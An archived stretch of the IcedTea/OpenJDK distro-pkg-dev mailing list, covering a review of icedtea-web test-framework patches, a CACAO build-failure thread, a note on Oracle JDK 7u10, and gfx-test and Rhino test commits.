patch, thank you, Jana -------------- next part -------------- A non-text attachment was scrubbed... Name: AWTFramework_preparations.patch Type: text/x-patch Size: 7362 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/5599d73b/AWTFramework_preparations.patch From jvanek at redhat.com Thu Dec 13 02:21:20 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 13 Dec 2012 11:21:20 +0100 Subject: [rfc][icedtea-web] additions to test-extensions needed for the new AWTFramework In-Reply-To: <50C9A7F0.3000201@redhat.com> References: <50C9A7F0.3000201@redhat.com> Message-ID: <50C9AC20.6030603@redhat.com> On 12/13/2012 11:03 AM, Jana Fabrikova wrote: > 2012-12-13 Jana Fabrikova > > * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: > Added several new versions of method executeBrowser with lists > of ContentReaderListeners as arguments. It is common to use ..ew versions of (executeBrowser) with lis... parentheses which measn method/target... > > * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: > Added new versions of the constructor and methods for adding > ContentReaderListeners using List > instead of one ContentReaderListener. > Added a new version of constructor with less arguments (used > in case when several arguments would be passed as null, thus > causing ambiguity). same > > * /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: > Modified the call of executeBrowser method with null arguments > into a call of new method without the null arguments > (getting rid of an ambiguous call). same > > > I would like to ask for review of the attached patch, > thank you, > Jana > > AWTFramework_preparations.patch > > > diff --git a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java > --- a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java > +++ b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java > @@ -109,7 +109,7 @@ > try { > boolean isJavawsTest = isJnlp(launchFile); > pr = isJavawsTest ? server.executeJavawsHeadless(launchFile, null, null) > - : server.executeBrowser(launchFile, null, null); > + : server.executeBrowser(launchFile); > } catch (Exception ex) { > ServerAccess.logException(ex); > } finally { > diff --git a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java > --- a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java > +++ b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java > @@ -64,6 +64,20 @@ > public ProcessWrapper() { > } > > + public ProcessWrapper(String toBeExecuted, List otherargs, URL u){ > + Assert.assertNotNull(u); > + Assert.assertNotNull(toBeExecuted); > + Assert.assertTrue(toBeExecuted.trim().length() > 1); > + if (otherargs == null) { > + otherargs = new ArrayList(1); > + } > + List urledArgs = new ArrayList(otherargs); > + urledArgs.add(0, toBeExecuted); > + urledArgs.add(u.toString()); > + this.args = urledArgs; > + this.vars=null; > + } > + This smell with doubled code. Can you extract all the duplicate parts? > public ProcessWrapper(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) throws Exception { > Assert.assertNotNull(u); > Assert.assertNotNull(toBeExecuted); > @@ -81,6 +95,22 @@ > > } > > + public ProcessWrapper(String toBeExecuted, List otherargs, URL u, List stdoutl, List stderrl, String[] vars) throws Exception { > + Assert.assertNotNull(u); > + Assert.assertNotNull(toBeExecuted); > + Assert.assertTrue(toBeExecuted.trim().length() > 1); > + if (otherargs == null) { > + otherargs = new ArrayList(1); > + } > + List urledArgs = new ArrayList(otherargs); > + urledArgs.add(0, toBeExecuted); > + urledArgs.add(u.toString()); > + this.args = urledArgs; > + this.addStdOutListeners(stdoutl); > + this.addStdErrListeners(stderrl); > + this.vars=vars; > + } This smells with similar duplication. > + > ProcessWrapper(final List args, File dir, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) { > this.args = args; > this.dir = dir; > @@ -89,6 +119,14 @@ > this.vars = vars; > } > > + public ProcessWrapper(final List args, File dir, List stdoutl, List stderrl, String[] vars) { > + this.args = args; > + this.dir = dir; > + this.addStdOutListeners(stdoutl); > + this.addStdErrListeners(stderrl); > + this.vars = vars; > + } > + > public final void addStdOutListener(ContentReaderListener l) { > if (l == null) { > return; > @@ -105,6 +143,22 @@ > > } > > + public final void addStdOutListeners(List l) { > + if (l == null) { > + return; > + } > + stdoutl.addAll(l); > + > + } > + > + public final void addStdErrListeners(List l) { > + if (l == null) { > + return; > + } > + stderrl.addAll(l); > + > + } > + > /** > * @return the args > */ > diff --git a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > --- a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > +++ b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > @@ -573,6 +573,10 @@ > return executeBrowser(getBrowserParams(), resource, stdoutl, stderrl); > } > > + public ProcessResult executeBrowser(String resource, List stdoutl, List stderrl) throws Exception { > + return executeBrowser(getBrowserParams(), resource, stdoutl, stderrl); > + } > + > /** > * wrapping method to executeProcess (eg: javaws arg arg http://localhost:port/resource) > * will execute default javaws (@see JAVAWS_BUILD_BIN) upon default url upon cached server (@see SERVER_NAME @see getPort(), @see getInstance())) > @@ -592,7 +596,7 @@ > } > > public ProcessResult executeBrowser(List otherargs, String resource) throws Exception { > - ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource), null, null, null); > + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource)); > rpw.setReactingProcess(getCurrentBrowser());//current browser may be null, but it does not metter > return rpw.execute(); > } > @@ -603,8 +607,16 @@ > return rpw.execute(); > } > > + public ProcessResult executeBrowser(List otherargs, String resource, List stdoutl, List stderrl) throws Exception { > + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); > + rpw.setReactingProcess(getCurrentBrowser());// current browser may be > + // null, but it does not > + // matter > + return rpw.execute(); What an nasty indentation. Perhaps you have ide configured to use tabs as tabs? (should be tabs as spaces, I think tab is 4sapces by default for ITW) But maybe just email transformation messed it up. Then please ignore this... > + } > + > public ProcessResult executeBrowser(Browser b, List otherargs, String resource) throws Exception { > - ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource), null, null, null); > + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource)); > rpw.setReactingProcess(b); > return rpw.execute(); > } > @@ -615,6 +627,12 @@ > return rpw.execute(); > } > > + public ProcessResult executeBrowser(Browser b, List otherargs, String resource, List stdoutl, List stderrl) throws Exception { > + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); > + rpw.setReactingProcess(b); > + return rpw.execute(); > + } > + > /** > * Create resource on http, on 'localhost' on port on which this cached instance is running > * @param resource > @@ -661,7 +679,7 @@ > * @throws Exception > */ > public static ProcessResult executeProcessUponURL(String toBeExecuted, List otherargs, URL u) throws Exception { > - return new ProcessWrapper(toBeExecuted, otherargs, u, null, null, null).execute(); > + return new ProcessWrapper(toBeExecuted, otherargs, u).execute(); > } > > public static ProcessResult executeProcessUponURL(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl) throws Exception { > Otherwise the changes have sense. Please double check that all the affected codes by small refactoring you included in this patch have no impact to compilation/runtime of reproducers! Thankx for dooing this J. From gnu.andrew at redhat.com Thu Dec 13 03:06:16 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Thu, 13 Dec 2012 06:06:16 -0500 (EST) Subject: FYI: Proprietary Oracle JDK 7u10 In-Reply-To: <1355342320.5802.106.camel@pegasus> Message-ID: <157037715.15270740.1355396776237.JavaMail.root@redhat.com> ----- Original Message ----- > Il giorno mer, 12/12/2012 alle 12.21 -0500, Andrew Hughes ha scritto: > > As discussed on the OpenJDK 6 lists: > > > > http://mail.openjdk.java.net/pipermail/jdk7u-dev/2012-September/004630.html > > > > Oracle have released a proprietary update for 7, u10, for which > > there is no corresponding OpenJDK release. > > > > http://www.oracle.com/technetwork/java/javase/7u-relnotes-515228.html > > > > The next OpenJDK release will be u12. > > Hi Andrew, > > That's just my opinion, of course, but the features in the release > notes > seems all to be related with Applets and Deployment, which are not > areas > covered by OpenJDK. > > Even if a release with the same id would be welcomed for OpenJDK, it > doesn't seem that any of the advertised fixes have any impact or > meaning > for OpenJDK at all, so the fact that Oracle released a JDK version > targeted at OSX and Windows doesn't leave us either exposed or behind > in > any way, unless I'm reading it incorrectly, of course. > No, I tend to agree. I just thought it worth noting that the release had now happened. The only OpenJDK viable fix from the release notes would appear to be the timezone data update and many distros override this using their own generated data anyway. Of course, we don't know what unlisted fixes may be in the release. > Cheers, > Mario > > > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From helpcrypto at gmail.com Thu Dec 13 07:26:21 2012 From: helpcrypto at gmail.com (helpcrypto helpcrypto) Date: Thu, 13 Dec 2012 16:26:21 +0100 Subject: Fwd: [Bug 1202] New: SunPKCS11 ends with an incorrect template when importing sign-only (no decrypt) on card, PKCS11 does well In-Reply-To: References: Message-ID: ping? Hi. A few days ago I reported [1]. As its a very-specific issue related to smartcards, I'll like to know if any of you is used to work with this lind of devices, to help him fix this bug and other one found while using smartcards. IMHO the other bug could be somewhat related, and even could have a higher priority, but want to know who (if someone) has needed hardware to test/to be able to test and fix. Thanks! [1] 1202 SunPKCS11 ends with an incorrect template when importing sign-only (no decrypt) on card, PKCS11 does well. From jvanek at redhat.com Thu Dec 13 08:35:17 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 13 Dec 2012 17:35:17 +0100 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour Message-ID: <50CA03C5.7080500@redhat.com> Ok for head? J. -------------- next part -------------- A non-text attachment was scrubbed... Name: openjdk-exploit3-reproducer.diff Type: text/x-patch Size: 21251 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/c3b81a44/openjdk-exploit3-reproducer.diff From jvanek at redhat.com Thu Dec 13 08:44:14 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 13 Dec 2012 17:44:14 +0100 Subject: [rfc][icedtea-web] reproducer for mzozila buffer owerflow Message-ID: <50CA05DE.5040602@redhat.com> This is reproducer for older mozilla issue. It is fixed correctly for all firefox, chrome and chromium - for which it was dangerous and was fixed. However it is behaving somehow strange for opera midory and epiphany. I have marked those tests as known to fail by small hack. I'm not sure if it measn that issue was not fixed, or taht it is not an issue in this family of browsers... The side effect of crashes in midory/epihany/opera leaded me to synchronize the logger, otherwise it broken really seriously:( J. -------------- next part -------------- A non-text attachment was scrubbed... Name: mozzilaReproducer.diff Type: text/x-patch Size: 5229 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/e74853fc/mozzilaReproducer.diff -------------- next part -------------- A non-text attachment was scrubbed... Name: synchronizedLoger.patch Type: text/x-patch Size: 3803 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/e74853fc/synchronizedLoger.patch From gregjo at yahoo.com Thu Dec 13 13:57:26 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Thu, 13 Dec 2012 13:57:26 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 Message-ID: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> I'm attempting to compile IcedTea with CACAO using Fedora 17 in x86. (Eventually I want to do this on ARM using a Raspberry Pi.) I have attempted to build 9 different versions obtained from http://icedtea.wildebeest.org/download/source icedtea-2.1.1 icedtea-2.1.2 icedtea-2.1.3 icedtea-2.2.1 icedtea-2.2.2 icedtea-2.2.3 icedtea-2.3.1 icedtea-2.3.2 icedtea-2.3.3 They will build (at least the ones I tried) correctly if I don't specify CACAO. But if I do specify CACAO, I get build errors. I used the information on this page: http://icedtea.classpath.org/wiki/FedoraBuildInstructions Before compiling, I prepared with these steps: # yum-builddep "java-1.7.0-openjdk" #?yum install libattr-devel libtool gcc-c++ libXpm-devel Then I did the following: # cd icedtea-2.X.X # ./configured --enable-cacao # make I received one of 3 types of errors when attempting to compile: Exception in thread "main" java.lang.Error: fatal: missing resource bundle: sun.rmi.rmic.resources.rmic_en_US or /opt/icedtea-2.2.1/openjdk.build-boot/tmp/java/java.lang/java/obj/Thread.o:(.data.rel+0xbc): undefined reference to 'JVM_SetNativeThreadName' or Error occured during intialization of VM Could not reserve enough space for object heap. (I am running this on a machine with 4GB of RAM, so that should be plenty.) So what am I missing? It is a compatibility issue of using java.1.7.0-openjdk with IcedTea? I apologize if I've drifted onto the wrong mailing list. If so, set me straight, but do it gently. ;-) Greg -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/23cf25fd/attachment.html From ptisnovs at icedtea.classpath.org Fri Dec 14 01:26:51 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Fri, 14 Dec 2012 09:26:51 +0000 Subject: /hg/gfx-test: src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha... Message-ID: changeset cb9c34f9d39a in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=cb9c34f9d39a author: Pavel Tisnovsky date: Fri Dec 14 10:29:53 2012 +0100 src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: Fixed alpha color computation. Added five new tests to this test suite. diffstat: ChangeLog | 6 + src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java | 81 ++++++++++++++++- 2 files changed, 84 insertions(+), 3 deletions(-) diffs (111 lines): diff -r 9c43ef8b6cd6 -r cb9c34f9d39a ChangeLog --- a/ChangeLog Thu Dec 13 10:39:57 2012 +0100 +++ b/ChangeLog Fri Dec 14 10:29:53 2012 +0100 @@ -1,3 +1,9 @@ +2012-12-14 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: + Fixed alpha color computation. Added five new tests to this test + suite. + 2012-12-13 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltUsingBgColor.java: diff -r 9c43ef8b6cd6 -r cb9c34f9d39a src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java --- a/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Thu Dec 13 10:39:57 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Fri Dec 14 10:29:53 2012 +0100 @@ -110,9 +110,9 @@ */ private Color calculateTransparentColor(Color backgroundColor, float alpha) { - final float red = backgroundColor.getRed(); - final float green = backgroundColor.getGreen(); - final float blue = backgroundColor.getBlue(); + final float red = backgroundColor.getRed() / 255.0f; + final float green = backgroundColor.getGreen() / 255.0f; + final float blue = backgroundColor.getBlue() / 255.0f; return new Color(red, green, blue, alpha); } @@ -192,6 +192,81 @@ } /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha000(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 0.0f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha025(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 0.25f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha050(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 0.5f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha075(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 0.75f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha100(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 1.00f); + } + + /** * Entry point to the test suite. * * @param args not used in this case From ptisnovs at icedtea.classpath.org Fri Dec 14 01:55:24 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Fri, 14 Dec 2012 09:55:24 +0000 Subject: /hg/rhino-tests: Added three new tests into src/org/RhinoTests/I... Message-ID: changeset 688976f71a2d in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=688976f71a2d author: Pavel Tisnovsky date: Fri Dec 14 10:58:28 2012 +0100 Added three new tests into src/org/RhinoTests/InvocableClassTest.java: - getAnnotations() - getDeclaredAnnotations() - getField() diffstat: ChangeLog | 8 +++ src/org/RhinoTests/InvocableClassTest.java | 75 ++++++++++++++++++++++++++++++ 2 files changed, 83 insertions(+), 0 deletions(-) diffs (114 lines): diff -r 90ebe9af7914 -r 688976f71a2d ChangeLog --- a/ChangeLog Thu Dec 13 10:46:21 2012 +0100 +++ b/ChangeLog Fri Dec 14 10:58:28 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-14 Pavel Tisnovsky + + * src/org/RhinoTests/InvocableClassTest.java: + Added three new tests into this test case: + - getAnnotations() + - getDeclaredAnnotations() + - getField() + 2012-12-13 Pavel Tisnovsky * src/org/RhinoTests/SimpleBindingsClassTest.java: diff -r 90ebe9af7914 -r 688976f71a2d src/org/RhinoTests/InvocableClassTest.java --- a/src/org/RhinoTests/InvocableClassTest.java Thu Dec 13 10:46:21 2012 +0100 +++ b/src/org/RhinoTests/InvocableClassTest.java Fri Dec 14 10:58:28 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -355,6 +356,28 @@ } /** + * Test for method javax.script.Invocable.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.invocableClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.Invocable.getClass().getMethods() */ protected void testGetMethods() { @@ -423,6 +446,58 @@ } /** + * Test for method javax.script.Invocable.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.invocableClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.Invocable.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.invocableClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.Invocable */ @SuppressWarnings("cast") From stefan at complang.tuwien.ac.at Fri Dec 14 03:15:32 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Fri, 14 Dec 2012 12:15:32 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > I received one of 3 types of errors when attempting to compile: > Exception in thread "main" java.lang.Error: fatal: missing resource bundle: > sun.rmi.rmic.resources.rmic_en_US > or > /opt/icedtea-2.2.1/openjdk.build-boot/tmp/java/java.lang/java/obj/Thread.o:(.data.rel+0xbc): > undefined reference to 'JVM_SetNativeThreadName' > or > Error occured during intialization of VM > Could not reserve enough space for object heap. > (I am running this on a machine with 4GB of RAM, so that should be plenty.) > > So what am I missing? It is a compatibility issue of using > java.1.7.0-openjdk with IcedTea? > I apologize if I've drifted onto the wrong mailing list. If so, set me > straight, but do it gently. ;-) Hi Greg, icedtea7 still picks up an old version of CACAO. My attempts at getting the most recent changes in got stuck in progress (through my own fault, I must add). At the moment, this should work: - get icedtea7 from https://bitbucket.org/Ringdingcoder/icedtea7 - merge with current icedtea7 if necessary/desired - check out CACAO from http://mips.complang.tuwien.ac.at/hg/cacao/ - add --with-cacao-src-dir= to your icedtea configure options - I /think/ you should also specify --disable-bootstrap Cheers From gnu.andrew at redhat.com Fri Dec 14 04:53:06 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Fri, 14 Dec 2012 07:53:06 -0500 (EST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: Message-ID: <1455675352.15897859.1355489586946.JavaMail.root@redhat.com> ----- Original Message ----- > > I received one of 3 types of errors when attempting to compile: > > Exception in thread "main" java.lang.Error: fatal: missing resource > > bundle: > > sun.rmi.rmic.resources.rmic_en_US > > or > > /opt/icedtea-2.2.1/openjdk.build-boot/tmp/java/java.lang/java/obj/Thread.o:(.data.rel+0xbc): > > undefined reference to 'JVM_SetNativeThreadName' > > or > > Error occured during intialization of VM > > Could not reserve enough space for object heap. > > (I am running this on a machine with 4GB of RAM, so that should be > > plenty.) > > > > So what am I missing? It is a compatibility issue of using > > java.1.7.0-openjdk with IcedTea? > > I apologize if I've drifted onto the wrong mailing list. If so, set > > me > > straight, but do it gently. ;-) > > Hi Greg, > > icedtea7 still picks up an old version of CACAO. My attempts at > getting the most recent changes in got stuck in progress (through my > own fault, I must add). > > At the moment, this should work: > > - get icedtea7 from https://bitbucket.org/Ringdingcoder/icedtea7 > - merge with current icedtea7 if necessary/desired > - check out CACAO from http://mips.complang.tuwien.ac.at/hg/cacao/ > - add --with-cacao-src-dir= to your icedtea configure > options > - I /think/ you should also specify --disable-bootstrap > > Cheers > What changes? What should the status of CACAO on 7 be? Last I knew it was broken. Gentoo are quite interested in this for getting 7 support on more archs. -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From jfabriko at redhat.com Fri Dec 14 08:14:34 2012 From: jfabriko at redhat.com (Jana Fabrikova) Date: Fri, 14 Dec 2012 17:14:34 +0100 Subject: [rfc][icedtea-web] additions to test-extensions needed for the new AWTFramework In-Reply-To: <50C9AC20.6030603@redhat.com> References: <50C9A7F0.3000201@redhat.com> <50C9AC20.6030603@redhat.com> Message-ID: <50CB506A.9010509@redhat.com> Thank you for your comments, I hope I have improved the code a little, modified patch is attached to this mail, Jana On 12/13/2012 11:21 AM, Jiri Vanek wrote: > On 12/13/2012 11:03 AM, Jana Fabrikova wrote: >> 2012-12-13 Jana Fabrikova >> >> * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: >> Added several new versions of method executeBrowser with lists >> of ContentReaderListeners as arguments. > > It is common to use ..ew versions of (executeBrowser) with lis... > parentheses which measn method/target... >> >> * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: >> Added new versions of the constructor and methods for adding >> ContentReaderListeners using List >> instead of one ContentReaderListener. >> Added a new version of constructor with less arguments (used >> in case when several arguments would be passed as null, thus >> causing ambiguity). > > same >> >> * >> /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: >> >> Modified the call of executeBrowser method with null arguments >> into a call of new method without the null arguments >> (getting rid of an ambiguous call). > > same > >> >> >> I would like to ask for review of the attached patch, >> thank you, >> Jana >> >> AWTFramework_preparations.patch >> >> >> diff --git >> a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java >> b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java >> >> --- >> a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java >> >> +++ >> b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java >> >> @@ -109,7 +109,7 @@ >> try { >> boolean isJavawsTest = isJnlp(launchFile); >> pr = isJavawsTest ? >> server.executeJavawsHeadless(launchFile, null, null) >> - : server.executeBrowser(launchFile, null, null); >> + : server.executeBrowser(launchFile); >> } catch (Exception ex) { >> ServerAccess.logException(ex); >> } finally { >> diff --git >> a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java >> b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java >> --- a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java >> +++ b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java >> @@ -64,6 +64,20 @@ >> public ProcessWrapper() { >> } >> >> + public ProcessWrapper(String toBeExecuted, List >> otherargs, URL u){ >> + Assert.assertNotNull(u); >> + Assert.assertNotNull(toBeExecuted); >> + Assert.assertTrue(toBeExecuted.trim().length() > 1); >> + if (otherargs == null) { >> + otherargs = new ArrayList(1); >> + } >> + List urledArgs = new ArrayList(otherargs); >> + urledArgs.add(0, toBeExecuted); >> + urledArgs.add(u.toString()); >> + this.args = urledArgs; >> + this.vars=null; >> + } >> + > > This smell with doubled code. Can you extract all the duplicate parts? > > >> public ProcessWrapper(String toBeExecuted, List >> otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener >> stderrl, String[] vars) throws Exception { >> Assert.assertNotNull(u); >> Assert.assertNotNull(toBeExecuted); >> @@ -81,6 +95,22 @@ >> >> } >> >> + public ProcessWrapper(String toBeExecuted, List >> otherargs, URL u, List stdoutl, >> List stderrl, String[] vars) throws Exception { >> + Assert.assertNotNull(u); >> + Assert.assertNotNull(toBeExecuted); >> + Assert.assertTrue(toBeExecuted.trim().length() > 1); >> + if (otherargs == null) { >> + otherargs = new ArrayList(1); >> + } >> + List urledArgs = new ArrayList(otherargs); >> + urledArgs.add(0, toBeExecuted); >> + urledArgs.add(u.toString()); >> + this.args = urledArgs; >> + this.addStdOutListeners(stdoutl); >> + this.addStdErrListeners(stderrl); >> + this.vars=vars; >> + } > > This smells with similar duplication. > >> + >> ProcessWrapper(final List args, File dir, >> ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] >> vars) { >> this.args = args; >> this.dir = dir; >> @@ -89,6 +119,14 @@ >> this.vars = vars; >> } >> >> + public ProcessWrapper(final List args, File dir, >> List stdoutl, List >> stderrl, String[] vars) { >> + this.args = args; >> + this.dir = dir; >> + this.addStdOutListeners(stdoutl); >> + this.addStdErrListeners(stderrl); >> + this.vars = vars; >> + } >> + >> public final void addStdOutListener(ContentReaderListener l) { >> if (l == null) { >> return; >> @@ -105,6 +143,22 @@ >> >> } >> >> + public final void addStdOutListeners(List >> l) { >> + if (l == null) { >> + return; >> + } >> + stdoutl.addAll(l); >> + >> + } >> + >> + public final void addStdErrListeners(List >> l) { >> + if (l == null) { >> + return; >> + } >> + stderrl.addAll(l); >> + >> + } >> + >> /** >> * @return the args >> */ >> diff --git >> a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java >> b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java >> --- a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java >> +++ b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java >> @@ -573,6 +573,10 @@ >> return executeBrowser(getBrowserParams(), 